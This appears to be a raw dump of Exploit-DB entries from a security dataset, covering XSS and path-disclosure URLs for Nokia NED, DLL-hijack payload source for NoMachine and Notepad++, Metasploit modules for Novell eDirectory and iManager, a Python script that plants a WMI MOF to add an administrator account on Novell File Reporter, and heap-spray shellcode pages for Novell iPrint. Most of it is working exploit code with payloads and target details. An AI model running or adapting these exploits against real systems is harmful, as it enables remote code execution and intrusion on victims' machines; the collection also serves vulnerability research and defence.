deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23149
Description: Nokia Electronic Documentation 5.0 - Cross-Site Scripting
Type: remote
Platform: windows
Date: 2003-09-15
Author: Ollie Whitehouse

Exploit:
source: https://www.securityfocus.com/bid/8626/info

Nokia Electronic Documentation (NED) has been reported prone to a cross-site scripting vulnerability. The issue has been conjectured to present itself due to a lack of sufficient sanitization performed on user supplied data.

A remote attacker may exploit this issue by enticing a target user to follow a malicious link to the affected Nokia Electronic Documentation site, which contains embedded HTML and script code. The attacker-supplied code would potentially be rendered in the user's browser when the link is followed.

It should be noted that although this vulnerability has been reported to affect Nokia Electronic Documentation version 5.0, previous versions might also be affected.


http://www.example.com/docs/<script>alert('@stake');</script>
Exploit-DB #23147
Description: Nokia Electronic Documentation 5.0 - Path Disclosure
Type: remote
Platform: windows
Date: 2003-09-15
Author: @stake

Exploit:
source: https://www.securityfocus.com/bid/8624/info

Nokia Electronic Documentation (NED) is prone to a vulnerability that may enable remote attackers to list directory contents. This issue may be exploited by appending a dot (.) to a request for a NED page. Exploitation will also have the side-effect of disclosing the path to the directory.

This issue was reported for NED installations hosted on WebLogic application servers. It is not known if NED is prone to the same behavior when hosted on other servers. It should be noted that although this vulnerability has been reported to affect Nokia Electronic Documentation version 5.0, previous versions might also be affected. 

http://www.example.com/docs/NED?action=retrieve&location=.
Exploit-DB #45611
Description: NoMachine < 5.3.27 - Remote Code Execution
Type: remote
Platform: windows
Date: 2018-10-15
Author: hyp3rlinx

Exploit:
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/NOMACHINE-TROJAN-FILE-REMOTE-CODE-EXECUTION.txt
[+] ISR: ApparitionSec          
 
Greetz: ***Greetz: indoushka | Eduardo ***

[Vendor]
www.nomachine.com


[Product]
NoMachine  <= v5.3.26

NX technology, developed by NoMachine, and commonly known as "NX" is a proprietary computer program that provides desktop and remote access.
It consists of a suite of products for desktop virtualization and application delivery for servers, and client software.



[Vulnerability Type]
Trojan File Remote Code Execution


[Affected Component]
wintab32.dll


[CVE Reference]
CVE-2018-17980


[Security Issue]
Possible arbitrary code execution when opening a ".nxs" nomachine file type on client's wintab32.dll preload.
This issue regards the client part of all NoMachine installations on Windows (NoMachine free, NoMachine Enterprise Client, NoMachine Enteprise Desktop and NoMachine Cloud Server).

1) create a 32 bit DLL named "wintab32.dll"
2) create an native nomachine ".NXS" file and open it alongside the trojan "wintab32.dll" DLL from Network share or any dir.
BOOM!


[References]
https://www.nomachine.com/TR10P08887



[Exploit/POC]

#include <windows.h>

/* hyp3rlinx */

/*
gcc -c -m32 wintab32.c
gcc -shared -m32 -o wintab32.dll wintab32.o
*/

void executo(){
 MessageBox( 0, "3c[PII_REDACTED]4fce3ab70efc3b44583" , ":)" , MB_YESNO + MB_ICONQUESTION );
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){
 switch(fdwReason){
  case DLL_PROCESS_ATTACH:{
	executo();
	break;
	}
  case DLL_PROCESS_DETACH:{
	executo();
	break;
	}
  case DLL_THREAD_ATTACH:{
	executo();
	break;
       }
  case DLL_THREAD_DETACH:{
	executo();
	break;
	}
   }
	return TRUE;
}


[Network Access]
Remote



[Severity]
High



[Disclosure Timeline]
Vendor Notification: September 26, 2018
Vendor verified vulnerability: September 28, 2018
CVE assigned by Mitre: October 4, 2018
Vendor release fixed version: October 11, 2018
October 11, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Exploit-DB #34836
Description: Notepad++ 5.8.2 - 'libtidy.dll' DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2010-10-12
Author: anT!-Tr0J4n

Exploit:
source: https://www.securityfocus.com/bid/44052/info

Notepad++ is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

Notepad++ 5.8.2 is vulnerable; other versions may also be affected.

/*
#Notepad++ 5.8.2 DLL Hijacking Exploit (libtidy.dll)

#Author    :   anT!-Tr0J4n

#Greetz    :   Dev-PoinT.com ~ inj3ct0r.com  ~ All Dev-poinT members and my friends

#Email      :   D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com

#Software :  http://notepad-plus-plus.org/

#Tested on:   Windows? XP sp3

#Home     :   www.Dev-PoinT.com


==========================
How  TO use : Compile and rename to  libtidy.dll , create a file in the same dir with one of the following extensions.

 check the result > Hack3d    
         
==========================

# libtidy.dll(code)
*/
 
#include "stdafx.h"
 
void init() {
MessageBox(NULL,"Your System 0wn3d BY anT!-Tr0J4n", "anT!-Tr0J4n",0x00000003);
}
 
 
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
 )
{
    switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
 init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
break;
    }
    return TRUE;
}
Exploit-DB #16773
Description: Novell eDirectory NDS Server - Host Header Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: edirectory_host.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Novell eDirectory NDS Server Host Header Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Novell eDirectory 8.8.1.
				The web interface does not validate the length of the
				HTTP Host header prior to using the value of that header in an
				HTTP redirect.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					['CVE', '2006-5478'],
					['OSVDB', '29993'],
					['BID', '20655'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Novell eDirectory 8.8.1', { 'Ret' => 0x10085bee } ], # ntls.dll
				],
			'Privileged'     => true,
			'DisclosureDate' => 'Oct 21 2006',
			'DefaultTarget' => 0))

		register_options([Opt::RPORT(8028)], self.class)
	end

	def exploit
		connect

		sploit =  "GET /nds HTTP/1.1" + "\r\n"
		sploit << "Host: " + rand_text_alphanumeric(9, payload_badchars)
		sploit << "," + rand_text_alphanumeric(719, payload_badchars)
		seh    = generate_seh_payload(target.ret)
		sploit[705, seh.length] = seh
		sploit << "\r\n\r\n"

		print_status("Trying target #{target.name}...")

		sock.put(sploit)

		handler
		disconnect
	end

end
Exploit-DB #23323
Description: Novell File Reporter (NFR) Agent - XML Parsing Remote Code Execution
Type: remote
Platform: windows
Date: 2012-12-12
Author: Abysssec

Exploit:
# wwww.abysssec.com
# Novell File Reporter Agent XML Parsing Remote Code Execution Vulnerability (0day)
# CVE-2012-4959
# @abysssec
# well just one more of our 0day got published after ~2 year 
# here is info : https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959
# and here is our exploit 

import httplib, md5, sys

def message_MD5(arg):
	v = "SRS" + arg + "SERVER"
	m = md5.new(v)
	return m.hexdigest()

def genMof(command="net user abysssec 123456 /add"):		
	
	vbs = ""
	vbs += "\"Set objShell = CreateObject(\\\"WScript.Shell\\\")\\n\"\n"
	vbs += "\"objShell.Run \\\"cmd.exe /C "
	vbs += command
	vbs += "\\\"\""


	mof = """
	#pragma namespace ("\\\\\\\\.\\\\root\\\\subscription")
	#pragma deleteclass("MyASEventConsumer", nofail)
	#pragma deleteinstance("__EventFilter.Name=\\\"EF\\\"", nofail)
	#pragma deleteinstance("ActiveScriptEventConsumer.Name=\\\"ASEC\\\"", nofail)

	class MyASEventConsumer
	{
		[key]string Name;
	};

	instance of ActiveScriptEventConsumer as $CONSUMER
	{
		CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
		Name = "ASEC";
		ScriptingEngine = "VBScript";    
		ScriptText =
	SCRIPT;
	};

	instance of __EventFilter as $FILTER
	{
		CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
		Name = "EF";
		Query = "SELECT * FROM __InstanceCreationEvent"
			" WHERE TargetInstance.__class = \\"MyASEventConsumer\\"";
		QueryLanguage = "WQL";
	};

	instance of __FilterToConsumerBinding as $BINDING
	{
		CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
		Filter = $FILTER;
		Consumer = $CONSUMER;
	};

	instance of MyASEventConsumer
	{
		 Name = "Trigger";
	};
	""".replace('SCRIPT',vbs)

	return mof

def main(argv=None):
	if argv is None:
		argv = sys.argv
	
	if len(argv) != 2:
		print "[!] USAGE : mof \"<command]>\""
		return
	
	msg = "<ROOT><NAME>FSFUI</NAME><UICMD>130</UICMD><TOKEN><FILE>../../../../../../Windows/system32/wbem/mof/command.mof</FILE></TOKEN><![CDATA["
	msg += genMof(argv[1] + "> C:/Windows/System32/info.dat")
	msg += "]]></ROOT>" 
	body = message_MD5(msg).upper() + msg
	headers = {"Content-type": "text/xml"}
	
	conn = httplib.HTTPSConnection("192.168.10.20:3037")			
	conn.request("POST", "/SRS/CMD",body, headers)
	response = conn.getresponse()
	print "\n...Command Executed ..."
	print response.status, response.reason
	
	print response.read()
	
	msg = "<ROOT><NAME>FSFUI</NAME><UICMD>126</UICMD><TOKEN><FILE>../../../../../../WINDOWS/system32/info.dat</FILE></TOKEN></ROOT>"
	body = message_MD5(msg).upper() + msg
	conn.request("POST", "/SRS/CMD",body, headers)
	response = conn.getresponse()
	conn.request("POST", "/SRS/CMD",body, headers)
	response = conn.getresponse()
	print "\n...Getting result ..."
	print response.status, response.reason	
	print response.read()
	
	
	conn.close()


if __name__ == "__main__":
    main()
Exploit-DB #16755
Description: Novell iManager - 'getMultiPartParameters' Arbitrary File Upload (Metasploit)
Type: remote
Platform: windows
Date: 2010-10-19
Author: Metasploit

Exploit:
##
# $Id: novell_imanager_upload.rb 10758 2010-10-19 22:54:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Novell iManager getMultiPartParameters Arbitrary File Upload',
			'Description'    => %q{
					This module exploits a directory traversal vulnerability which
				allows remote attackers to upload and execute arbitrary code.

				PortalModuleInstallManager
			},
			'Author'         => [ 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10758 $',
			'Platform'       => [ 'win' ],
			'Privileged'     => true,
			'References'     =>
				[
					#[ 'CVE', '2010-??' ],
					[ 'OSVDB', '68320'],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-190/' ],
					[ 'URL', 'http://www.novell.com/support/viewContent.do?externalId=7006515&sliceId=2' ],
				],
			'Targets'        =>
				[
					[ 'Universal Windows Target',
						{
							'Arch'     => ARCH_JAVA,
							'Payload'  =>
								{
									'DisableNops' => true,
								},
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 01 2010'
		))

		register_options(
			[
				Opt::RPORT(8080)
			], self.class )
	end

	def exploit

		page = Rex::Text.rand_text_alpha_upper(8) + ".jsp"

		fname = '../../../../../../../Progra~1/Novell/Tomcat/webapps/ROOT/'
		fname << page

		dbl = Rex::MIME::Message.new
		dbl.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"MODULE_FILE\"; filename=\"#{fname}\"")
		data = dbl.to_s
		# For some unknown reason, the service is unhappy with an extra EOL.
		data.strip!

		print_status("Uploading the payload via a POST request...")

		res = send_request_cgi(
			{
				'uri'     => '/nps/servlet/modulemanager',
				'version' => '1.1',
				'method'  => 'POST',
				'ctype'   => "multipart/form-data; boundary=#{dbl.bound}",
				'data'    => data,
			}, 5)

		if ( res and res.code == 200 and res.message =~ /OK/ )
			print_status("Sending our second request to '#{page}'...")
			data = send_request_raw({
					'uri'     => '/' + page,
					'method'  => 'GET',
					'version' => '1.0',
			}, 5)
			handler
		else
			raise RuntimeError, 'POST failed'
		end

	end
end
Exploit-DB #16014
Description: Novell iPrint 5.52 - ActiveX 'GetDriverSettings()' Command Execution
Type: remote
Platform: windows
Date: 2011-01-19
Author: Dr_IDE

Exploit:
<!--
Novell iPrint <= 5.52 ActiveX GetDriverSettings() Remote Exploit (ZDI-10-256)
Coded By:	Dr_IDE
Reference:	http://www.zerodayinitiative.com/advisories/ZDI-10-256/
Reference:	http://www.vupen.com/english/advisories/2010/3023
Tested On:	Windows XP SP3
-->
<html>
<object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C' id='target'/></object>
<script >
// Calc.exe
shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
                       
nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length< slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
ret='';
for( counter=0; counter<=250; counter++) ret+=unescape("%0C%0C%0C%0C");    

arg1 = 'printer';
arg2 = 'realm';
arg3 = 'user';
arg4 = 'pass';

//The code is interesting here, there are two different calls but they both actually
//hit the same code within the app. GetDriverSettings2() is triggered internally by both calls.
target.GetDriverSettings(ret,arg2,arg3,arg4);
//target.GetDriverSettings2(ret,arg2,arg3,arg4);
</script>
</html>

#http://pocoftheday.blogspot.com
Exploit-DB #15042
Description: Novell iPrint Client Browser Plugin - 'call-back-url' Remote Stack Overflow
Type: remote
Platform: windows
Date: 2010-09-19
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 


  Title            : Novell iPrint Client Browser Plugin call-back-url stack overflow
  Version          : iPrint Client plugin v5.42 (XP SP3)
  Analysis         : http://www.abysssec.com
  Vendor           : http://www.novell.com
  Impact           : Critical
  Contact          : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter          : @abysssec
  CVE              : CVE-2010-1527

http://www.exploit-db.com/moaub-19-novell-iprint-client-browser-plugin-call-back-url-stack-overflow/

'''

import sys;
#calc.exe shellcode
temp = """<script>
     
	 shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ 
                    '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ 
                    '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ 
                    '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+ 
                    '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+ 
                    '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+ 
                    '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+ 
                    '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'); 
                      
     nops=unescape('%u9090%u9090'); 
     headersize =20; 
     slackspace= headersize + shellcode.length; 
     while(nops.length< slackspace) nops+= nops; 
     fillblock= nops.substring(0, slackspace); 
     block= nops.substring(0, nops.length- slackspace); 
     while( block.length+ slackspace<0x50000) block= block+ block+ fillblock; 
     memory=new Array(); 
     for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;     
</script>
<object ID='target' classid='clsid:36723f97-7aa0-11d4-8919-ff2d71d0d32c'>
<param name='operation' value='op-client-interface-version' />
<param name='result-type' value='url' />
<param name='call-back-url' value='

"""
i=0
while(i<1000):
    temp = temp + "\x0a";
    i=i+1

temp = temp + """' />
</object>
"""

htmlFile = open("call-back-url.html","w")
htmlFile.write(temp)
htmlFile.close()
Exploit-DB #15001
Description: Novell iPrint Client Browser Plugin - ExecuteRequest debug Stack Overflow
Type: remote
Platform: windows
Date: 2010-09-14
Author: Abysssec

Exploit:
<!--
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-14-novell-iprint-client-browser-plugin-executerequest-debug-parameter-stack-overflow/


  Title            :  Novell iPrint Client Browser Plugin ExecuteRequest debug Parameter Stack Overflow
  Version          :  iPrint Client plugin v5.32 (XP SP3)
  Analysis         :  http://www.abysssec.com
  Vendor           :  http://www.Novell.com
  Impact           :  Critical
  Contact          :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter          :  @abysssec
  MOAUB Number     :  
-->
<object ID='target' classid='clsid:36723f97-7aa0-11d4-8919-ff2d71d0d32c'>

</object>
<script >
	
	 // Calc.exe
	 shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ 
                    '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ 
                    '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ 
                    '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+ 
                    '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+ 
                    '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+ 
                    '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+ 
                    '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'); 
                      
     nops=unescape('%u9090%u9090'); 
     headersize =20; 
     slackspace= headersize + shellcode.length; 
     while(nops.length< slackspace) nops+= nops; 
     fillblock= nops.substring(0, slackspace); 
     block= nops.substring(0, nops.length- slackspace); 
     while( block.length+ slackspace<0x50000) block= block+ block+ fillblock; 
     memory=new Array(); 
     for( counter=0; counter<200; counter++) memory[counter]= block + shellcode; 
     ret=''; 
     for( counter=0; counter<=250; counter++) ret+=unescape("%0a%0a%0a%0a");	 	
	op = "op-client-interface-version";
	dbg = "debug=";
	target.ExecuteRequest (op, dbg+ret);
	
</script>
<html>

</html>